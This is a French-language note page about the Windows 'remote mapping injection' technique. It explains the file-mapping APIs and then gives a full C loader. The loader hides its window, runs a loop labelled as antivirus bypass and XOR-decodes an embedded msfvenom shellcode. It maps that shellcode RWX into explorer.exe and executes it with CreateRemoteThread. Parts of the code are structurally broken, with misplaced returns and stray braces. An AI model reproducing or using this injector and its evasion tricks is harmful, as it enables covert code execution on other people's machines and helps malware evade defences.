

Remote mapping injection

samedi 7 mars 2026 01:26

```
#pragma comment(lib, "OneCore.lib") // needed to compile
MapViewOfFile2
```

C'est le même processus sauf qu'on à la fin la fonction **MapViewOfFile2** pour ajouter notre objet mappé dans le remote processus.

Pour ça on va utiliser la fonction **MapViewOfFile2** :

```
PVOID MapViewOfFile2(
[in] HANDLE FileMappingHandle, // Handle to the file mapping object returned by
CreateFileMappingA/W
[in] HANDLE ProcessHandle, // Target process handle
[in] ULONG64 Offset, // Not required - NULL
[in, optional] PVOID BaseAddress, // Not required - NULL
[in] SIZE_T ViewSize, // Not required - NULL
[in] ULONG AllocationType, // Not required - NULL
[in] ULONG PageProtection // The desired page protection.
);
```

- **FileMappingHandle** - A HANDLE to a section that is to be mapped into the address space of the specified process.
- **ProcessHandle** - A HANDLE to a process into which the section will be mapped. The handle must have the **PROCESS_VM_OPERATION** access mask.
- **PageProtection** - The desired page protection.

Aussi on a pas besoin de configurer le mappage local en mode executable (**PAGE_EXECUTE_READWRITE**) car le payload ne sera pas exécuter localement. On veut qu'il soit exécuté à distance et (remote). Donc on va changer ce paramètre (**PAGE_EXECUTE_READWRITE** en **FILE_MAP_WRITE**).

Donc ça nous donne pour la local mapping injection :

CreateFileMapping

```
HANDLE CreateFileMapping(
[in] HANDLE hFile,
[in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // Not Required - NULL
[in] DWORD flProtect,
[in] DWORD dwMaximumSizeHigh, // Not Required - NULL
[in] DWORD dwMaximumSizeLow,
[in, optional] LPCSTR lpName // Not Required - NULL
);
```

The 3 required parameters for this technique are explained below. The parameters marked as not required can be set to **NULL**.

- **hFile** - A handle to a file from which to create a file mapping handle. Since creating file mapping from a file is not required in the implementation, the **INVALID_HANDLE_VALUE** flag can be used instead. The **INVALID_HANDLE_VALUE** flag is explained by Microsoft:

If hFile is INVALID_HANDLE_VALUE, the calling process must also specify a size for the file mapping object in the dwMaximumSizeHigh and dwMaximumSizeLow parameters. In this scenario, CreateFileMapping creates a file mapping object of a specified size that is backed by the system paging file instead of by a file in the file system.

Setting this flag allows the function to perform its task without using a file from disk, and instead the file mapping object is created in memory with a size specified by the **dwMaximumSizeHigh** or **dwMaximumSizeLow** parameters.

- **flProtect** - Specifies the page protection of the file mapping object. In this implementation, it will be set as **PAGE_EXECUTE_READWRITE**. Note that this does not create an **RWX** section, but instead it specifies that it can be created later on. If it had been set to **PAGE_READWRITE**, then it would not be possible to execute the payload later on.
- **dwMaximumSizeLow** - The size of the file mapping handle returned. The value of this will be the payload's size.

MapViewOfFile

```
LPVOID MapViewOfFile(
[in] HANDLE hFileMappingObject,
[in] DWORD dwDesiredAccess,
[in] DWORD dwFileOffsetHigh, // Not Required - NULL
[in] DWORD dwFileOffsetLow, // Not Required - NULL
[in] SIZE_T dwNumberOfBytesToMap
);
```

The 3 required parameters for this technique are explained below. The parameters marked as not required can be set to **NULL**.

- **hFileMappingObject** - The returned handle from the **CreateFileMapping** WinAPI, which is the file mapping object.
- **dwDesiredAccess** - The type of access to a file mapping object, which determines the page protection of the page created. In other words, the memory permissions of the allocated memory by the **MapViewOfFile** call. Since **CreateFileMapping** was set to **PAGE_EXECUTE_READWRITE**, this parameter will use both the **FILE_MAP_EXECUTE** and **FILE_MAP_WRITE** flags to return valid executable and writable memory, which is what is needed to copy the payload and execute it after.

Had the **PAGE_READWRITE** flag been used in **CreateFileMapping** and the **FILE_MAP_EXECUTE** flag

was used in `MapViewOfFile`, then `MapViewOfFile` would have failed because executable memory was attempted to be made from a readable and writable `CreateFileMapping` object handle which is not possible.

- `dwNumberOfBytesToMap` - The size of the payload.

Puis on remappe encore pour le processus en remote :

```
PVOID MapViewOfFile2(
[in]   HANDLE FileMappingHandle, // Handle to the file mapping object returned by
CreateFileMappingA/W
[in]   HANDLE ProcessHandle,     // Target process handle
[in]   ULONG64 Offset,           // Not required - NULL
[in, optional] PVOID BaseAddress, // Not required - NULL
[in]   SIZE_T ViewSize,          // Not required - NULL
[in]   ULONG AllocationType,     // Not required - NULL
[in]   ULONG PageProtection     // The desired page protection.
);
```

Et pour unmapper la mémoire mappé on utilise (à utiliser après que l'injection se soit exécuté)

UnmapViewOfFile

Ce qui nous donne le code suivant :

```
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <winuser.h>
#include <string.h>
#include <tlhelp32.h> //for the function
CreateToolhelp32Snapshot
#pragma comment(lib, "User32.lib")
#define MAX_OP 100000000
#pragma comment(linker, "/SUBSYSTEM:WINDOWS")
#pragma comment(lib, "OneCore.lib") // needed to
compile 'MapViewOfFile2'
/*-----
ReportError-----*/

BOOL ReportError(unsigned char* ApiName){
    printf("Erreur [%s] => code : %d\n", ApiName,
    GetLastError());
    return FALSE;
}

/*-----XOR-----*/

//XOR function for encryption and decryption of the
shellcode
void XOR(unsigned char key, unsigned char *buf, int
size) {
    for (int i = 0; i < size; i++) {
        buf[i] ^= key;
    }
}

/*-----BypassAv-----*/
BOOL BypassAv(){
    int cpt = 0;
    int i = 0;
    for(i =0; i < MAX_OP; i ++){
        {
            cpt++;
        }
        return TRUE;
    }
}
/*-----FindMyProc-----
*/

int FindMyProc(){

    int foundPID = 0;
    HANDLE hProcess = INVALID_HANDLE_VALUE;
    BOOL hResult = 0;
    HANDLE hSnapshot = INVALID_HANDLE_VALUE;
    PROCESSENTRY32 pe32; //structure PROCESSENTRY32
    const char TargetProc[] = "explorer.exe";

    //snapshot all the process in the system with the
function createtoolhelp32snapshot
    hSnapshot =
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE){
        ReportError("CreateToolhelp32Snapshot");
        CloseHandle(hSnapshot);
        return FALSE;
    }
}
```

```

//we initialize the size of the parameter dwSize
(inside the structure PROCESSENTRY32 which is needed
for the function Process32First
pe32.dwSize = sizeof(PROCESSENTRY32);

//then we get the information about the first
process the snapshot find with Process32First
hResult = Process32First(hSnapshot, &pe32);
if(!hResult){
    ReportError("Process32First");
    CloseHandle(hSnapshot);
    return FALSE;
}

//otherwise we enter in the loop to search the
good process name and if we find the one we are looking
for we exit successfully.
while (hResult){ //while it's true we compare the
string with the process name

    if(strcmp(TargetProc, pe32.szExeFile) == 0){
        foundPID = pe32.th32ProcessID; //we retrieve
the PID from the target process
        break;
    }

//if we did not find the target process we continue
looking for the next process :
    if(!Process32Next(hSnapshot, &pe32)){ //if not true
we exit with a false status
        ReportError("Process32Next");
        CloseHandle(hSnapshot);
        return FALSE;
    }

    //and we return the process PID
    CloseHandle(hSnapshot);
    return foundPID;
}

```

```

/**PROCESS INJECTION PROGRAM */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE
hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
ShowWindow(NULL, SW_HIDE);
AllocConsole();
ShowWindow(FindWindowW(L"ConsoleWindowClass", NULL),
FALSE);

```

```

//shellcode encrypted with XOR key 0x12, generated with
msfvenom :
    unsigned char shellcode[] =
"\xee\x5a\x93\xf6\xe2\xed\xed\xed\xfa\xde\x12\x12\x12\x
53\x43\x53"
"\x42\x40\x5a\x23\xc0\x43\x77\x5a\x99\x40\x72\x44\x5a\x
99\x40\x0a"
"\x5a\x99\x40\x32\x5f\x23\xdb\x5a\x1d\xa5\x58\x58\x5a\x
99\x60\x42"
"\x5a\x23\xd2\xbe\x2e\x73\x6e\x10\x3e\x32\x53\xdb\x
1f\x53\x13"
"\xd3\xf0\xff\x40\x53\x43\x5a\x99\x40\x32\x99\x50\x2e\x
5a\x13\xc2"
"\x74\x93\x6a\x0a\x19\x10\x1d\x97\x60\x12\x12\x12\x99\x
92\x9a\x12"
"\x12\x12\x5a\x97\xd2\x66\x75\x5a\x13\xc2\x42\x56\x99\x
52\x32\x99"
"\x5a\x0a\x5b\x13\xc2\xf1\x44\x5f\x23\xdb\x5a\xed\xdb\x
53\x99\x26"
"\x9a\x5a\x13\xc4\x5a\x23\xd2\xbe\x53\xdb\x1f\x53\x
13\xdb\x2a"
"\xf2\x67\xe3\x5e\x11\x5e\x36\x1a\x57\x2b\xc3\x67\xca\x
4a\x56\x99"
"\x52\x36\x5b\x13\xc2\x74\x53\x99\x1e\x5a\x56\x99\x52\x
0e\x5b\x13"
"\xc2\x53\x99\x16\x9a\x53\x4a\x5a\x13\xc2\x53\x4a\x4c\x
4b\x48\x53"
"\x4a\x53\x4b\x53\x48\x5a\x91\xfe\x32\x53\x40\xed\xf2\x
4a\x53\x4b"
"\x48\x5a\x99\x00\xfb\x59\xed\xed\xed\x4f\xfa\x19\x12\x
12\x12\x67"
"\x61\x77\x60\x21\x20\x3c\x76\x7e\x7e\x12\x4b\x53\xa8\x
5e\x65\x34"
"\x15\xed\xc7\x5b\xdb\xdb\x12\x12\x12\x12\xfa\x00\x12\x
12\x12\x5a"
"\x73\x71\x79\x32\x46\x7a\x77\x32\x42\x7e\x73\x7c\x77\x
66\x32\x33"
"\x12\x48\xfa\x17\x12\x12\x12\x5a\x53\x5a\x53\x12\x53\x

```

```

4a\x5a\x23"
"\xdb\x53\xa8\x57\x91\x44\x15\xed\x7c\xa9\xf2\xf0\x38\x
18\x53\xa8"
"\xb4\x87\xaf\x8f\xed\x7c\x5a\x91\xd6\x3a\x2e\x14\x6e\x
18\x92\xe9"
"\xf2\x67\x17\xa9\x55\x01\x60\x7d\x78\x12\x4b\x53\x9b\x
c8\xed\x7c";

```

```

    unsigned char *pshellcode = shellcode; // pointer
to the shellcode
    int shell_size = sizeof(shellcode) - 1; // remove
the null terminator
    unsigned char bkey = 0x12; // key for XOR
encryption
    //LPVOID shellcode_mem; // pointer for the
allocated memory in the target process
    PVOID pLocalShellcodeAddress; //variable to store
the address of the mapped shellcode locally
    PVOID pRemoteShellcodeAddress; //variable to store
the address of the mapped shellcode remotely
    DWORD oldprotect = 0; //variable to store the old
protection flags of the allocated memory
    SIZE_T bytesWritten = 0; //variable to store the
number of bytes written to the target process
    int foundPID = 0; //variable to store the handle of
the target process found by FindMyProc()
    HANDLE hThread = INVALID_HANDLE_VALUE; // handle
for the remote thread
    HANDLE hFile = INVALID_HANDLE_VALUE; //process
handle for the target process
    HANDLE hProcess = INVALID_HANDLE_VALUE; //process
handle for the target process

```

```

    FreeConsole();
    //Call to the function BypassAV();
    BypassAv();//function to bypass AV dynamic
analysis
    foundPID = FindMyProc();//we call this function to
get the handle of the target process and store it in
foundPID, we will use this handle for the rest of the
code

```

```

    if (foundPID == 0) {
        return -1;
    }

```

```

    //we open the porcess found with the function
FindMyProc :

```

```

    hProcess = OpenProcess(PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION |
PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE,
(DWORD)foundPID);

```

```

    if (hProcess == NULL){
        ReportError("OpenProcess");
        CloseHandle(hProcess);
        return -1;
    }

```

```

    //we decrypt the shellcode with XOR before
injecting it into the target process, we will encrypt
it again after the injection to avoid detection by AV
XOR(bkey, pshellcode, shell_size);

```

```

    // Create a file mapping handle with RWX memory
permissions
    // This does not allocate RWX view of file unless
it is specified in the subsequent MapViewOfFile call
    hFile = CreateFileMappingW(INVALID_HANDLE_VALUE,
NULL, PAGE_EXECUTE_READWRITE, NULL, shell_size, NULL);
    if(hFile == NULL){
        ReportError("CreateFileMappingW");
        CloseHandle(hFile);
        return EXIT_FAILURE;
    }

```

```

    pLocalShellcodeAddress = MapViewOfFile(hFile,
FILE_MAP_WRITE, 0, 0, shell_size );

```

```

    if(pLocalShellcodeAddress == NULL){
        ReportError("pLocalShellcodeAddress");
        return -1;
    }

```

```

    /*printf("\t[+] Local Mapping Address : 0x%p
\n", pLocalShellcodeAddress);
    printf("\t[#] Press <Enter> To Write The
Payload ... ");
    getchar();
    printf("\t[i] Copying Payload To 0x%p ... ",
pLocalShellcodeAddress);*/

```

```
        memcpy(pLocalShellcodeAddress, pshellcode,
shell_size);
        //printf("[+] DONE \n");
        //we use memcpy to copy the payload to the mapped
memory
        //memcpy(pLocalShellcodeAddress, shellcode,
shell_size);

        pRemoteShellcodeAddress = MapViewOfFile2(hFile,
hProcess, 0, 0, 0, 0, PAGE_EXECUTE_READWRITE);
        if (pRemoteShellcodeAddress == NULL) {
            ReportError("pRemoteShellcodeAddress");
            return -1;
        }

        printf("\t[+] Remote Mapping Address : 0x%p \n",
pRemoteShellcodeAddress);
        //we create a remote thread in the target process
to execute the shellcode
        hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pRemoteShellcodeAddress, NULL,
0, NULL);
        if (hThread == NULL) {
            ReportError("CreateRemoteThread");
            return EXIT_FAILURE;
        }

        //we wait for the remote thread to finish executing the
shellcode
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
        CloseHandle(hProcess);
        return EXIT_SUCCESS;
    }
}
```


